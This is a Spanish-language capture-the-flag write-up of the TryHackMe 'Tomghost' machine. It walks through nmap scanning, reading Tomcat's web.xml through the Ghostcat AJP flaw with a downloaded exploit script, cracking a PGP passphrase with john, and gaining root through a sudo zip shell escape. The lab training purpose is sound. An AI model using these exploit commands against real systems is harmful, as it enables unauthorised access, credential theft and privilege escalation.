Tomghost


December 30, 20223 minutes

Link de la máquina

IP Atacante = 10.10.10.10

IP Víctima = 10.10.126.65

Reconocimiento

Para empezar lo primero es comprobar si la máquina está activa y que OS tiene

❯ ping -c 1 10.10.126.65
PING 10.10.126.65 (10.10.126.65) 56(84) bytes of data.
64 bytes from 10.10.126.65: icmp_seq=1 ttl=63 time=53.0 ms

--- 10.10.126.65 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 52.964/52.964/52.964/0.000 ms

En este caso da un ttl (time to live) de 63, entendiendo que ttl=64: Linux / ttl=128: Windows. Esta máquina es Linux por aproximación

Escaneo de puertos (nmap)

Ahora empezamos con un escaneo de puertos

nmap -p- --open -sS --min-rate 5000 -n -vvv -Pn 10.10.126.65 -oG allPorts
ParámetroFunción
-p-Para que el escaneo sea a todos los puertos (65536)
–openPara que solo reporte los puertos abiertos
-sS –min-rate 5000Definir el tiempo del escaneo
-nOmitir resolución DNS
-vvvPara que vaya reportando lo que encuentre por consola
-PnSkip host discovery
-oG allPortsPara que guarde el escaneo en format grepeable en un archivo llamado allPort

Con una función definida en la zshrc llamada extractPorts, nos reporta los puertos abiertos de una forma más visual

Función extractPorts de @s4vitar

❯ extractPorts allPorts
───────┬─────────────────────────────────────────────────────────────────────────────────────────
       │ File: extractPorts.tmp
───────┼─────────────────────────────────────────────────────────────────────────────────────────
   1   2[*] Extracting information...
   3   4[*] IP Address: 10.10.126.65
   5[*] Open ports: 22,53,8009,8080
   6   7[*] Ports copied to clipboard
   8───────┴─────────────────────────────────────────────────────────────────────────────────────────

Ahora con nmap vamos a intentar buscar las versiones de los servicios de los puertos y ejecutar scripts básicos de reconocimientos

❯ nmap -p22,53,8009,8080 -sC -sV 10.10.126.65

PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 f3c89f0b6ac5fe95540be9e3ba93db7c (RSA)
|   256 dd1a09f59963a3430d2d90d8e3e11fb9 (ECDSA)
|_  256 48d1301b386cc653ea3081805d0cf105 (ED25519)
53/tcp   open  tcpwrapped
8009/tcp open  ajp13      Apache Jserv (Protocol v1.3)
| ajp-methods: 
|_  Supported methods: GET HEAD POST OPTIONS
8080/tcp open  http       Apache Tomcat 9.0.30
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/9.0.30

Puerto 8009

Con searchsploit podemos buscar si existe algún exploit para ajp

❯ searchsploit ajp
-------------------------------------------------------- ---------------------------------
 Exploit Title                                          |  Path
-------------------------------------------------------- ---------------------------------
Apache Tomcat - AJP 'Ghostcat File Read/Inclusion       | multiple/webapps/48143.py
Apache Tomcat - AJP 'Ghostcat' File Read/Inclusion (Met | multiple/webapps/49039.rb
-------------------------------------------------------- ---------------------------------

Al probar con el 48143.py no funciona bien. E encontrado otro exploit de 00theway https://github.com/00theway/Ghostcat-CNVD-2020-10487

wget https://raw.githubusercontent.com/00theway/Ghostcat-CNVD-2020-10487/master/ajpShooter.py
python3 ajpShooter.py http://10.10.126.65 8009 /WEB-INF/web.xml read

En una línea específica un usuario y una contraseña

<description>
     Welcome to GhostCat
	skyfuck:--pass--
</description>

Escalada de privilegios

Merlin

Con ssh ya nos podemos conectar como skyfuck. Al entrar lo primero que vemos son dos archivos: credential.pgp y tryhackme.asc, con un cat tryhackme.asc podemos ver que contiene una pgp private key con la cual podemos ver el contenido de credential.pgp.

gpg --import tryhackme.asc
gpg --decrypt credential.pgp

Nos pide una passphrase

Con python nos vamos a montar un servidor en la máquina víctima para pasarnos el archivo tryhackme.asc a nuestra máquina con python3 -m http.server y desde nuestra máquina con wget nos lo pasamos wget http://10.10.126.65:8000/tryhackme.asc

Desde nuestra máquina vamos a sacar el hash con

gpg2john tryhackme.asc > hash

Ahora ya podemos mediante el diccionario rockyou.txt hacer fuerza bruta y encontrar la passphrase

john --format=gpg --wordlist=/usr/share/wordlists/rockyou.txt hash

Nos encuentra las passphrase, ahora ya podemos aceder al credentials.pgp y ver las credenciales de el usuario merlin.

Dentro de la carpeta personal de merlin podemos ver la flag user.txt.

Root

Con un sudo -l podemos ver que puede ejecutar zip como root sin proporcionar contraseña, nos podemos aprovechar de esto de la siguiente forma.

TF=$(mktemp -u)
sudo zip $TF /etc/hosts -T -TT 'sh #'
sudo rm $TF

Ahora ya somos root y podemos ver la flag en /root/root.txt